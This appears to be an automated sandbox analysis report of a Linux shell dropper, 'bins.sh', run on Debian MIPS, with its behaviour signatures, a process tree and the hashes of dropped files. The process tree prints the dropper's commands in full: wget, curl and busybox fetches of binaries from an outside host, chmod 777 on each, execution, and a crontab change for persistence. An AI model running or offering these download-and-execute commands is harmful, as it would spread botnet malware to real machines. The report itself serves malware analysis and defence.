Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    14/11/2024, 10:37

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-mntbjaxley
  • SHA256 9632194b562b40773332d8df8a1cfbca52e19527290ebed9149202748d68f24c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1992) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:718
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:721
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
          ./86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm 86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:761
          • /bin/chmod
            chmod 777 2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
            ./2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
            2⤵
            • Executes dropped EXE
            PID:771
          • /bin/rm
            rm 2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
            2⤵
              PID:774
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:776
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:785
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:795
            • /bin/chmod
              chmod 777 OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
              2⤵
              • File and Directory Permissions Modification
              PID:799
            • /tmp/OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
              ./OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:801
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:803
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:805
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:809
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:810
                  • /bin/rm
                    rm OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
                    2⤵
                      PID:819
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                      2⤵
                      • System Network Configuration Discovery
                      PID:902
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                      2⤵
                      • System Network Configuration Discovery
                      PID:903
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:908
                    • /bin/chmod
                      chmod 777 1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                      2⤵
                      • File and Directory Permissions Modification
                      PID:909
                    • /tmp/1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                      ./1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                      2⤵
                      • Executes dropped EXE
                      PID:910
                    • /bin/rm
                      rm 1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                      2⤵
                        PID:912
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                        2⤵
                        • System Network Configuration Discovery
                        PID:913
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                        2⤵
                        • System Network Configuration Discovery
                        PID:914
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:915
                      • /bin/chmod
                        chmod 777 qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                        2⤵
                        • File and Directory Permissions Modification
                        PID:916
                      • /tmp/qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                        ./qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                        2⤵
                        • Executes dropped EXE
                        PID:917
                      • /bin/rm
                        rm qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                        2⤵
                          PID:919
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                          2⤵
                          • System Network Configuration Discovery
                          PID:920
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                          2⤵
                          • System Network Configuration Discovery
                          PID:921
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:922
                        • /bin/chmod
                          chmod 777 1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                          2⤵
                          • File and Directory Permissions Modification
                          PID:923
                        • /tmp/1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                          ./1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                          2⤵
                          • Executes dropped EXE
                          PID:924
                        • /bin/rm
                          rm 1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                          2⤵
                            PID:926
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/UvKqx1Yyb6q8FVVUDsFVAHpZADI3c3uEjF
                            2⤵
                            • System Network Configuration Discovery
                            PID:927
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/UvKqx1Yyb6q8FVVUDsFVAHpZADI3c3uEjF
                            2⤵
                            • System Network Configuration Discovery
                            PID:928

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz

                              • Path /tmp/1ATrYF00OPos9ILX4GXP7CrCU1fYGAWRDz
                              • Size 111KB
                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                              • MD5 SHA1 SHA512 SSDEEP

                              1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d

                              • Path /tmp/1qjxPtKhJphpANiquw6g8atwK5WD8oUb2d
                              • Size 111KB
                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                              • MD5 SHA1 SHA512 SSDEEP

                              2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL

                              • Path /tmp/2D0yPSg4SFIcEYkXIFkGa1V1Xb9XJhHkIL
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP

                              86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE

                              • Path /tmp/86AO51ixhIfQDzYERzZ86os2ArYLsdOgRE
                              • Size 117KB
                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                              • MD5 SHA1 SHA512 SSDEEP

                              OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb

                              • Path /tmp/OTJNGv1Bp2t2WYGktp6VPWgKa80sFS8iAb
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP

                              qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx

                              • Path /tmp/qkH15HPXBAUfrckz6oGyL4v3B4gbhhVPdx
                              • Size 127KB
                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                              • MD5 SHA1 SHA512 SSDEEP

                              tmp.x7rYfu

                              • Path /var/spool/cron/crontabs/tmp.x7rYfu
                              • Size 210B
                              • SHA256 088817509a7d89e50943d1d93415fd42956868f7f4d38da91f6ba5ebbdfe1bdf
                              • MD5 SHA1 SHA512